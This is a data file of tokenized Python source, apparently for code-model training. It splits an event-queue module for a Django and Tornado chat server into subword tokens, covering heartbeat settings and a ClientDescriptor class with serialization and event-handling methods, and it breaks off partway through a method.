"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"heart",
"beats",
" ",
"effective",
"ly",
" ",
"act",
" ",
"as",
" ",
"a",
" ",
"server",
"-",
"side",
" ",
"timeo",
"ut",
" ",
"for_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"get",
"\\u",
"events",
"()",
".",
" ",
" ",
"The",
" ",
"actual",
" ",
"timeo",
"ut",
" ",
"value",
" ",
"is",
" ",
"randomize",
"d",
" ",
"for",
" ",
"each_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"client",
" ",
"connecti",
"on",
" ",
"based",
" ",
"on",
" ",
"the",
" ",
"belo",
"w",
" ",
"value",
".",
" ",
" ",
"We",
" ",
"ensure",
" ",
"tha",
"t",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"maxim",
"um",
" ",
"timeo",
"ut",
" ",
"value",
" ",
"is",
" ",
"5",
"5",
" ",
"second",
"s",
",",
" ",
"to",
" ",
"deal",
" ",
"with",
" ",
"cra",
"ppy",
" ",
"home_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"wireless",
" ",
"router",
"s",
" ",
"tha",
"t",
" ",
"kill",
" ",
"\"",
"inact",
"ive",
"\"",
" ",
"http",
" ",
"connections",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"HEA",
"RT",
"BEA",
"T",
"\\u",
"MIN",
"\\u",
"FREQ",
"\\u",
"SEC",
"S_",
"=_",
"45_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"descrip",
"tors",
"\\u",
"by",
"\\u",
"handler",
"\\u",
"id_",
"=_",
"{_",
"}_",
"#",
" ",
"type",
":",
" ",
"Dict",
"[",
"int",
",",
" ",
"Client",
"Descrip",
"tor",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"maps",
" ",
"queue",
" ",
"ids",
" ",
"to",
" ",
"client",
" ",
"descriptors_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"clients_",
"=_",
"{_",
"}_",
"#",
" ",
"type",
":",
" ",
"Dict",
"[",
"str",
",",
" ",
"Client",
"Descrip",
"tor",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"maps",
" ",
"user",
" ",
"id",
" ",
"to",
" ",
"list",
" ",
"of",
" ",
"client",
" ",
"descriptors_",
"\\u\\u\\uNL\\u\\u\\u_",
"user",
"\\u",
"clients_",
"=_",
"{_",
"}_",
"#",
" ",
"type",
":",
" ",
"Dict",
"[",
"int",
",",
" ",
"List",
"[",
"Client",
"Descrip",
"tor",
"]]",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"maps",
" ",
"real",
"m",
" ",
"id",
" ",
"to",
" ",
"list",
" ",
"of",
" ",
"client",
" ",
"descrip",
"tors",
" ",
"with",
" ",
"all",
"\\u",
"public",
"\\u",
"stream",
"s",
"=",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"real",
"m",
"\\u",
"clients",
"\\u",
"all",
"\\u",
"streams_",
"=_",
"{_",
"}_",
"#",
" ",
"type",
":",
" ",
"Dict",
"[",
"int",
",",
" ",
"List",
"[",
"Client",
"Descrip",
"tor",
"]]",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"list",
" ",
"of",
" ",
"register",
"ed",
" ",
"gc",
" ",
"hook",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"each",
" ",
"one",
" ",
"will",
" ",
"be",
" ",
"call",
"ed",
" ",
"with",
" ",
"a",
" ",
"user",
" ",
"profile",
" ",
"id",
",",
" ",
"queue",
",",
" ",
"and",
" ",
"bool_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"last",
"\\u",
"for",
"\\u",
"client",
" ",
"tha",
"t",
" ",
"is",
" ",
"true",
" ",
"if",
" ",
"this",
" ",
"is",
" ",
"the",
" ",
"last",
" ",
"queue",
" ",
"pert",
"ain",
"ing_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"to",
" ",
"this",
" ",
"user",
"\\u",
"profile",
"\\u",
"id_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"tha",
"t",
" ",
"is",
" ",
"abo",
"ut",
" ",
"to",
" ",
"be",
" ",
"deleted_",
"\\u\\u\\uNL\\u\\u\\u_",
"gc",
"\\u",
"hooks_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"next",
"\\u",
"queue",
"\\u",
"id_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"follow",
"ing",
" ",
"function",
"s",
" ",
"are",
" ",
"call",
"ed",
" ",
"from",
" ",
"Dj",
"ang",
"o_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Work",
"aro",
"und",
" ",
"to",
" ",
"support",
" ",
"the",
" ",
"Pyth",
"on",
"-",
"request",
"s",
" ",
"1.0",
" ",
"transiti",
"on",
" ",
"of",
" ",
".",
"json_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"from",
" ",
"a",
" ",
"property",
" ",
"to",
" ",
"a",
" ",
"function_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"request",
"s",
"\\u",
"json",
"\\u",
"is",
"\\u",
"function_",
"=_",
"callable_",
"(_",
"requests_",
"._",
"Response_",
"._",
"json_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Sen",
"d",
" ",
"email",
" ",
"notification",
"s",
" ",
"to",
" ",
"idle",
" ",
"users_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"after",
" ",
"the",
"y",
" ",
"are",
" ",
"idle",
" ",
"for",
" ",
"1",
" ",
"hour_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"NOTIF",
"Y",
"\\u",
"AFTER",
"\\u",
"IDLE",
"\\u",
"HOUR",
"S_",
"=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Run",
"s",
" ",
"in",
" ",
"the",
" ",
"Dj",
"ang",
"o",
" ",
"process",
" ",
"to",
" ",
"send",
" ",
"a",
" ",
"notification",
" ",
"to",
" ",
"Tor",
"nad",
"o",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"We",
" ",
"use",
" ",
"JSO",
"N",
" ",
"rat",
"her",
" ",
"than",
" ",
"bare",
" ",
"form",
" ",
"parameter",
"s",
",",
" ",
"so",
" ",
"tha",
"t",
" ",
"we",
" ",
"can",
" ",
"represent_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"different",
" ",
"types",
" ",
"and",
" ",
"for",
" ",
"compatibility",
" ",
"with",
" ",
"non",
"-",
"HTTP",
" ",
"transport",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"TOD",
"O",
":",
" ",
"Ref",
"actor",
" ",
"so",
" ",
"we",
" ",
"don",
"'",
"t",
" ",
"need",
" ",
"this",
" ",
"function_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"user",
"\\u",
"profile",
"\\u",
"email_",
",_",
"real",
"m",
"\\u",
"id_",
",_",
"event",
"\\u",
"queue_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"event",
"\\u",
"types_",
",_",
"client",
"\\u",
"type",
"\\u",
"name_",
",_",
"appl",
"y",
"\\u",
"markdown_",
"=_",
"True_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"all",
"\\u",
"public",
"\\u",
"streams_",
"=_",
"False_",
",_",
"life",
"span",
"\\u",
"secs_",
"=_",
"0_",
",_",
"narrow",
"_",
"=_",
"[_",
"]_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"The",
"se",
" ",
"object",
"s",
" ",
"are",
" ",
"serialize",
"d",
" ",
"on",
" ",
"shut",
"down",
" ",
"and",
" ",
"restore",
"d",
" ",
"on",
" ",
"restart",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fields",
" ",
"are",
" ",
"adde",
"d",
" ",
"or",
" ",
"semantics",
" ",
"are",
" ",
"change",
"d",
",",
" ",
"temporar",
"y",
" ",
"code",
" ",
"must",
" ",
"be_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"adde",
"d",
" ",
"to",
" ",
"load",
"\\u",
"event",
"\\u",
"queue",
"s",
"()",
" ",
"to",
" ",
"update",
" ",
"the",
" ",
"restore",
"d",
" ",
"object",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Addition",
"ally",
",",
" ",
"the",
" ",
"to",
"\\u",
"dict",
" ",
"and",
" ",
"from",
"\\u",
"dict",
" ",
"method",
"s",
" ",
"must",
" ",
"be",
" ",
"updated_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"user",
"\\u",
"profile",
"\\u",
"id_",
"=_",
"user",
"\\u",
"profile",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"user",
"\\u",
"profile",
"\\u",
"email_",
"=_",
"user",
"\\u",
"profile",
"\\u",
"email_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"real",
"m",
"\\u",
"id_",
"=_",
"real",
"m",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"current",
"\\u",
"handler",
"\\u",
"id_",
"=_",
"None_",
"#",
" ",
"type",
":",
" ",
"int_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"current",
"\\u",
"client",
"\\u",
"name_",
"=_",
"None_",
"#",
" ",
"type",
":",
" ",
"str_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"event",
"\\u",
"queue_",
"=_",
"event",
"\\u",
"queue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"queue",
"\\u",
"timeout_",
"=_",
"life",
"span",
"\\u",
"secs_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"event",
"\\u",
"types_",
"=_",
"event",
"\\u",
"types_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"last",
"\\u",
"connecti",
"on",
"\\u",
"time_",
"=_",
"time_",
"._",
"time_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"appl",
"y",
"\\u",
"markdown_",
"=_",
"appl",
"y",
"\\u",
"markdown_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"all",
"\\u",
"public",
"\\u",
"streams_",
"=_",
"all",
"\\u",
"public",
"\\u",
"streams_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"client",
"\\u",
"type",
"\\u",
"name_",
"=_",
"client",
"\\u",
"type",
"\\u",
"name_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"timeo",
"ut",
"\\u",
"handle_",
"=_",
"None_",
"#",
" ",
"type",
":",
" ",
"Any",
" ",
"#",
" ",
"TOD",
"O",
":",
" ",
"shou",
"ld",
" ",
"be",
" ",
"return",
" ",
"type",
" ",
"of",
" ",
"io",
"loop",
".",
"add",
"\\u",
"timeout_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"narrow",
"_",
"=_",
"narrow",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"narrow",
"\\u",
"filter_",
"=_",
"build",
"\\u",
"narrow",
"\\u",
"filter_",
"(_",
"narrow",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Cla",
"mp",
" ",
"queue",
"\\u",
"timeo",
"ut",
" ",
"to",
" ",
"bet",
"ween",
" ",
"minim",
"um",
" ",
"and",
" ",
"maxim",
"um",
" ",
"timeouts",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"queue",
"\\u",
"timeout_",
"=_",
"max_",
"(_",
"IDLE",
"\\u",
"EVENT",
"\\u",
"QUEUE",
"\\u",
"TIME",
"OUT",
"\\u",
"SEC",
"S_",
",_",
"min_",
"(_",
"self_",
"._",
"queue",
"\\u",
"timeout_",
",_",
"MAX",
"\\u",
"QUEUE",
"\\u",
"TIME",
"OUT",
"\\u",
"SEC",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"to",
"\\u",
"dict_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"If",
" ",
"you",
" ",
"add",
" ",
"a",
" ",
"new",
" ",
"key",
" ",
"to",
" ",
"this",
" ",
"dict",
",",
" ",
"make",
" ",
"sure",
" ",
"you",
" ",
"add",
" ",
"appropr",
"iate",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"migrati",
"on",
" ",
"code",
" ",
"in",
" ",
"from",
"\\u",
"dict",
" ",
"or",
" ",
"load",
"\\u",
"event",
"\\u",
"queue",
"s",
" ",
"to",
" ",
"account",
" ",
"for_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"load",
"ing",
" ",
"event",
" ",
"queue",
"s",
" ",
"tha",
"t",
" ",
"lack",
" ",
"tha",
"t",
" ",
"key",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"dict_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
"=_",
"self_",
"._",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"user",
"\\u",
"profile",
"\\u",
"email_",
"=_",
"self_",
"._",
"user",
"\\u",
"profile",
"\\u",
"email_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"real",
"m",
"\\u",
"id_",
"=_",
"self_",
"._",
"real",
"m",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"event",
"\\u",
"queue_",
"=_",
"self_",
"._",
"event",
"\\u",
"queue_",
"._",
"to",
"\\u",
"dict_",
"(_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"queue",
"\\u",
"timeout_",
"=_",
"self_",
"._",
"queue",
"\\u",
"timeout_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"event",
"\\u",
"types_",
"=_",
"self_",
"._",
"event",
"\\u",
"types_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"last",
"\\u",
"connecti",
"on",
"\\u",
"time_",
"=_",
"self_",
"._",
"last",
"\\u",
"connecti",
"on",
"\\u",
"time_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"appl",
"y",
"\\u",
"markdown_",
"=_",
"self_",
"._",
"appl",
"y",
"\\u",
"markdown_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"all",
"\\u",
"public",
"\\u",
"streams_",
"=_",
"self_",
"._",
"all",
"\\u",
"public",
"\\u",
"streams_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"narrow",
"_",
"=_",
"self_",
"._",
"narrow",
"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"client",
"\\u",
"type",
"\\u",
"name_",
"=_",
"self_",
"._",
"client",
"\\u",
"type",
"\\u",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"repr\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\"",
"Client",
"Descrip",
"tor",
"<",
"%",
"s",
">\"_",
"%_",
"(_",
"self_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
",_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"classmethod_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"from",
"\\u",
"dict_",
"(_",
"cls_",
",_",
"d_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"'",
"user",
"\\u",
"profile",
"\\u",
"email",
"'_",
"not_",
"in_",
"d_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Tempora",
"ry",
" ",
"migrati",
"on",
" ",
"for",
" ",
"the",
" ",
"addition",
" ",
"of",
" ",
"the",
" ",
"new",
" ",
"user",
"\\u",
"profile",
"\\u",
"email",
" ",
"field_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"from_",
"zerver_",
"._",
"models_",
"import_",
"get",
"\\u",
"user",
"\\u",
"profile",
"\\u",
"by",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"[_",
"'",
"user",
"\\u",
"profile",
"\\u",
"email",
"'_",
"]_",
"=_",
"get",
"\\u",
"user",
"\\u",
"profile",
"\\u",
"by",
"\\u",
"id_",
"(_",
"d_",
"[_",
"'",
"user",
"\\u",
"profile",
"\\u",
"id",
"'_",
"]_",
")_",
"._",
"email_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"'",
"client",
"\\u",
"type",
"'_",
"in_",
"d_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Tempora",
"ry",
" ",
"migrati",
"on",
" ",
"for",
" ",
"the",
" ",
"rename",
" ",
"of",
" ",
"client",
"\\u",
"type",
" ",
"to",
" ",
"client",
"\\u",
"type",
"\\u",
"name_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"d_",
"[_",
"'",
"client",
"\\u",
"type",
"\\u",
"name",
"'_",
"]_",
"=_",
"d_",
"[_",
"'",
"client",
"\\u",
"type",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"ret_",
"=_",
"cls_",
"(_",
"d_",
"[_",
"'",
"user",
"\\u",
"profile",
"\\u",
"id",
"'_",
"]_",
",_",
"d_",
"[_",
"'",
"user",
"\\u",
"profile",
"\\u",
"email",
"'_",
"]_",
",_",
"d_",
"[_",
"'",
"real",
"m",
"\\u",
"id",
"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"Event",
"Queue_",
"._",
"from",
"\\u",
"dict_",
"(_",
"d_",
"[_",
"'",
"event",
"\\u",
"queue",
"'_",
"]_",
")_",
",_",
"d_",
"[_",
"'",
"event",
"\\u",
"types",
"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"d_",
"[_",
"'",
"client",
"\\u",
"type",
"\\u",
"name",
"'_",
"]_",
",_",
"d_",
"[_",
"'",
"appl",
"y",
"\\u",
"mark",
"down",
"'_",
"]_",
",_",
"d_",
"[_",
"'",
"all",
"\\u",
"public",
"\\u",
"stream",
"s",
"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"d_",
"[_",
"'",
"queue",
"\\u",
"timeo",
"ut",
"'_",
"]_",
",_",
"d_",
"._",
"get_",
"(_",
"'",
"narrow",
"'_",
",_",
"[_",
"]_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ret_",
"._",
"last",
"\\u",
"connecti",
"on",
"\\u",
"time_",
"=_",
"d_",
"[_",
"'",
"last",
"\\u",
"connecti",
"on",
"\\u",
"time",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"ret_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"prepar",
"e\\u",
"for",
"\\u",
"pick",
"ling_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"current",
"\\u",
"handler",
"\\u",
"id_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"timeo",
"ut",
"\\u",
"handle_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"add",
"\\u",
"event_",
"(_",
"self_",
",_",
"event_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"current",
"\\u",
"handler",
"\\u",
"id_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"handler_",
"=_",
"get",
"\\u",
"handler",
"\\u",
"by",
"\\u",
"id_",
"(_",
"self_",
"._",
"current",
"\\u",
"handler",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"async",
"\\u",
"request",
"\\u",
"restart_",
"(_",
"handler_",
"._",
"\\u",
"request_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"event",
"\\u",
"queue_",
"._",
"push_",
"(_",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"finish",
"\\u",
"current",
"\\u",
"handler_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"finish",
"\\u",
"current",
"\\u",
"handler_",
"(_",
"self_",
",_",
"need",
"\\u",
"timeout_",
"=_",
"False_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"current",
"\\u",
"handler",
"\\u",
"id_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"err",
"\\u",
"msg_",
"=_",
